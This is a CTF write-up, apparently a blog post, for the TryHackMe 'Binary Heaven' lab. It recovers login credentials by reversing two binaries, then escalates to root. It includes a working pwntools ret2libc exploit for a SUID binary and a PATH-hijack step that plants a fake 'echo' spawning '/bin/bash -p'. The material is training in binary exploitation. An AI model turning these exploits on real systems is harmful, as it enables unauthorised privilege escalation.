DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe: Binary Heaven - Writeup

Summary

A locked-down TryHackMe box gating SSH access behind two credential-checking binaries: a small C program with an anti-debug/obfuscated string comparison, and a statically linked Go binary hiding a plaintext password in .rodata. Static reverse engineering in Ghidra and GDB recovers both credentials and yields SSH access as guardian. From there, a 32-bit SUID binary with no stack canary is exploited via classic ret2libc (using a libc address the binary leaks for free) to escalate to binexgod. Finally, a root-owned SUID binary that calls system() with an unqualified echo inside /usr/bin/env is abused via PATH hijacking to spawn a root shell, despite the binary's attempt to drop privileges beforehand.

See the Complete Attack Chain at the end for the condensed version of the whole path.


Overview

Machine: Binary Heaven
Attacker IP: 10.x.x.x (Kali)
Target IP: 10.49.188.50


Recon

Downloaded and unzipped the provided credentials archive:

unzip credentials_1614324056485.zip
file angel_*
Enter fullscreen mode Exit fullscreen mode
angel_A: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
angel_B: ELF 64-bit LSB executable, x86-64, statically linked (Go binary), not stripped
Enter fullscreen mode Exit fullscreen mode

Two binaries - a small C program and a Go program - both gating some kind of login prompt.


Stage 1 - angel_A (Anti-Debug + Obfuscated Username Check)

strings angel_A showed the binary calls ptrace, and the prompt text gave away the anti-debug gimmick directly:

Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ
Say my username >>
That is not my username!
Correct! That is my name!
Enter fullscreen mode Exit fullscreen mode

Loaded the binary into Ghidra rather than fighting the check live in GDB - since the process never gets ptrace'd by us, the self-detection branch never fires, and static analysis sidesteps it entirely.

Decompiling main()

lVar1 = ptrace(PTRACE_TRACEME,0,1,0,param_5,param_6,param_2);
if (lVar1 == -1) {
  printf("Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ/n%22");
  exit(1);
}
printf("\x1b\36m\nSay my username >> \x1b\0m");
fgets((char *)local_15,9,stdin);
local_c = 0;
while( true ) {
  if (7 < local_c) {
    puts("\x1b\32m\nCorrect! That is my name!\x1b\0m");
    return 0;
  }
  if (*(int *)(username + (long)local_c * 4) != (char)(local_15[local_c] ^ 4) + 8) break;
  local_c = local_c + 1;
}
puts("\x1b\31m\nThat is not my username!\x1b\0m");
Enter fullscreen mode Exit fullscreen mode

Not a plain strcmp - a byte-by-byte loop comparing each input character, transformed as (input_char ^ 4) + 8, against a global array username, stored as full 4-byte ints rather than a packed char[] (visible in the listing as 6b 00 00 00 79 00 00 00 ...).

Extracting and inverting

00104060  6b 00 00 00 79 00 00 00 6d 00 00 00 7e 00 00 00
          68 00 00 00 75 00 00 00 6d 00 00 00 72 00 00 00
Enter fullscreen mode Exit fullscreen mode

Low bytes: 0x6b 0x79 0x6d 0x7e 0x68 0x75 0x6d 0x72

raw_bytes = [0x6b, 0x79, 0x6d, 0x7e, 0x68, 0x75, 0x6d, 0x72]
password = ''.join(chr((b - 8) ^ 4) for b in raw_bytes)
print(password)
Enter fullscreen mode Exit fullscreen mode
guardian
Enter fullscreen mode Exit fullscreen mode

Confirmed:

./angel_A
Say my username >> guardian
Correct! That is my name!
Enter fullscreen mode Exit fullscreen mode

Username: guardian


Stage 2 - angel_B (Go Binary Password Check)

strings angel_B was too noisy (full Go runtime symbol table, GC internals). Went straight to GDB:

gdb ./angel_B
(gdb) info functions
Enter fullscreen mode Exit fullscreen mode

Surfaced main.main cleanly. Disassembled it:

mov 0x40(%rsp),%rax
mov 0x8(%rax),%rcx
mov (%rax),%rax
cmp $0xb,%rcx          # length check == 11 (len("GOg0esGrrr!"))
je 0x4a54a1
...
0x4a54a1:
mov %rax,(%rsp)
lea 0x2585f(%rip),%rax   # 0x4cad0b  <- reference string address
mov %rax,0x8(%rsp)
mov %rcx,0x10(%rsp)
call runtime.memequal
Enter fullscreen mode Exit fullscreen mode

Go string comparisons compile to a length check (0xb = 11 bytes) plus runtime.memequal against a .rodata pointer.

gdb -batch -ex 'x/s 0x4cad0b' ./angel_B
Enter fullscreen mode Exit fullscreen mode
0x4cad0b: "GOg0esGrrr!Ideographic..."
Enter fullscreen mode Exit fullscreen mode

The confirmed 11-byte length gave the exact cutoff.

Password: GOg0esGrrr!

Confirmed:

./angel_B
Say the magic word >> GOg0esGrrr!
Right password! Now GO ahead and SSH into heaven.
Enter fullscreen mode Exit fullscreen mode

Initial Access - SSH as guardian

ssh guardian@10.49.188.50
# password: GOg0esGrrr!
Enter fullscreen mode Exit fullscreen mode
guardian@heaven:~$ id
uid=1001(guardian) gid=1001(guardian) groups=1001(guardian)
Enter fullscreen mode Exit fullscreen mode

Flag 1

cat guardian_flag.txt
Enter fullscreen mode Exit fullscreen mode
THM{REDACTED_GUARDIAN_FLAG}
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation - guardian to binexgod

Enumeration

ls -la
Enter fullscreen mode Exit fullscreen mode
-rwsr-sr-x 1 binexgod binexgod 15772 May  8  2021 pwn_me
Enter fullscreen mode Exit fullscreen mode

Setuid/setgid binary owned by binexgod. .python_history hinted at prior buffer-length fuzzing ('A'*32, 'A'*55).

file pwn_me
Enter fullscreen mode Exit fullscreen mode
pwn_me: setuid, setgid ELF 32-bit LSB shared object, dynamically linked, interpreter /lib/ld-linux.so.2
Enter fullscreen mode Exit fullscreen mode
checksec --file=pwn_me
Enter fullscreen mode Exit fullscreen mode
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
Enter fullscreen mode Exit fullscreen mode

No canary + NX enabled -> classic ret2libc target.

Finding the Overflow

./pwn_me
Binexgod said he want to make this easy.
System is at: 0xf7df4950
Enter fullscreen mode Exit fullscreen mode

The binary leaks a live system() address on every run - no need for a separate leak primitive.

gdb ./pwn_me
(gdb) info functions
(gdb) disassemble vuln
Enter fullscreen mode Exit fullscreen mode
sub $0x24,%esp
...
call <fgets/read equivalent>
Enter fullscreen mode Exit fullscreen mode

vuln() reads into a small fixed buffer with no length check.

gdb ./pwn_me
(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'BBBB')")
Enter fullscreen mode Exit fullscreen mode
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip
eip            0x42424242       0x42424242
Enter fullscreen mode Exit fullscreen mode

Offset to return address: 32 bytes

Building the ret2libc Chain

ldd pwn_me
# libc.so.6 => /lib32/libc.so.6

readelf -s /lib32/libc.so.6 | grep " system"
# 1457: 0003a950  55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

strings -a -t x /lib32/libc.so.6 | grep "/bin/sh"
# 15910b /bin/sh
Enter fullscreen mode Exit fullscreen mode
libc_base = leak - 0x3a950
binsh_addr = libc_base + 0x15910b
Enter fullscreen mode Exit fullscreen mode
from pwn import *

p = process('./pwn_me')

p.recvuntil(b'System is at: ')
leak = int(p.recvline().strip(), 16)
log.info(f"Leaked system(): {hex(leak)}")

libc_base   = leak - 0x3a950
system_addr = leak
binsh_addr  = libc_base + 0x15910b

payload  = b'A' * 32
payload += p32(system_addr)
payload += p32(0x41414141)
payload += p32(binsh_addr)

p.sendline(payload)
p.interactive()
Enter fullscreen mode Exit fullscreen mode

Since pwn_me is SUID/SGID binexgod, the spawned /bin/sh inherits those bits:

whoami
binexgod
id
uid=1002(binexgod) gid=1001(guardian) groups=1001(guardian)
Enter fullscreen mode Exit fullscreen mode

Flag 2

cat binexgod_flag.txt
Enter fullscreen mode Exit fullscreen mode
THM{REDACTED_BINEXGOD_FLAG}
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation - binexgod to root

Enumeration

ls -la vuln
Enter fullscreen mode Exit fullscreen mode
-rwsr-xr-x 1 root binexgod 8824 Mar 15  2021 vuln
Enter fullscreen mode Exit fullscreen mode

SUID root, group binexgod. Source was readable:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo Get out of heaven lol");
}
Enter fullscreen mode Exit fullscreen mode
./vuln
Enter fullscreen mode Exit fullscreen mode
Get out of heaven lol
Enter fullscreen mode Exit fullscreen mode

The Vulnerability

The binary drops privileges via setresuid/setresgid before calling system() - but since it's SUID root, geteuid()/getegid() already return 0, so those calls re-affirm root instead of dropping it. system() is still called with /usr/bin/env echo ...: an absolute path to env, but env resolves echo via $PATH search, not a hardcoded location.

which env
# /usr/bin/env
echo $PATH
# /home/guardian/bin:...:/usr/bin:/sbin:/bin:...
Enter fullscreen mode Exit fullscreen mode

Exploitation

mkdir -p /tmp/evil

echo '#!/bin/bash
/bin/bash -p' > /tmp/evil/echo

chmod +x /tmp/evil/echo

export PATH=/tmp/evil:$PATH

./vuln
Enter fullscreen mode Exit fullscreen mode

env's echo lookup resolves to the attacker-controlled script, spawning a root shell (bash -p preserves the elevated UID/GID):

root@heaven:/home/binexgod# whoami
root
Enter fullscreen mode Exit fullscreen mode

Root Flag

cd /root
cat root.txt
Enter fullscreen mode Exit fullscreen mode
THM{REDACTED_ROOT_FLAG}
Enter fullscreen mode Exit fullscreen mode

Complete Attack Chain

angel_A (Ghidra static analysis, bypass ptrace anti-debug)
  -> decompile obfuscated byte-transform check
  -> invert (input^4)+8 transform on hardcoded username array
  -> guardian

angel_B (GDB, info functions -> main.main disassembly)
  -> length check (0xb) + runtime.memequal against .rodata pointer
  -> dump reference string at leaked address
  -> GOg0esGrrr!

SSH as guardian (guardian:GOg0esGrrr!)
  -> FLAG 1 (guardian_flag.txt)

Enumeration -> pwn_me (SUID/SGID binexgod, no canary, NX enabled, leaks system() address)
  -> gdb: vuln() unbounded read, offset to EIP = 32 bytes
  -> readelf/strings on /lib32/libc.so.6 -> system() offset + /bin/sh offset
  -> ret2libc payload: padding + system() + junk_ret + /bin/sh
  -> shell as binexgod
  -> FLAG 2 (binexgod_flag.txt)

Enumeration -> vuln (SUID root, binexgod group)
  -> source shows setresuid/setresgid "hardening" that re-affirms root (already root via SUID)
  -> system("/usr/bin/env echo ...") resolves "echo" via $PATH, not hardcoded
  -> PATH hijack: /tmp/evil/echo -> /bin/bash -p
  -> export PATH=/tmp/evil:$PATH; ./vuln
  -> root shell
  -> ROOT FLAG (root.txt)
Enter fullscreen mode Exit fullscreen mode

Key Takeaways / Exploit Notes

  • Anti-debug checks (ptrace self-detection) can often be bypassed entirely by static analysis instead of live debugging - no need to patch or defeat the check if you never attach a debugger.
  • Go binaries are statically linked and symbol-heavy; info functions / disassemble main.main in GDB is far more useful than strings alone for locating comparison logic.
  • No stack canary + NX + leaked libc address = ideal, low-friction ret2libc scenario; no need to brute-force or leak libc via a separate format string bug since the binary handed us the address directly.
  • SUID binaries calling system()/unqualified binary names are a PATH hijacking goldmine - always check strings <suid_binary> for shell-outs and enumerate $PATH write permissions.
  • Privilege-dropping calls that run after the process already holds the target privilege don't drop anything - setresuid(geteuid(), ...) on a SUID-root binary just reasserts root.

Top comments (0)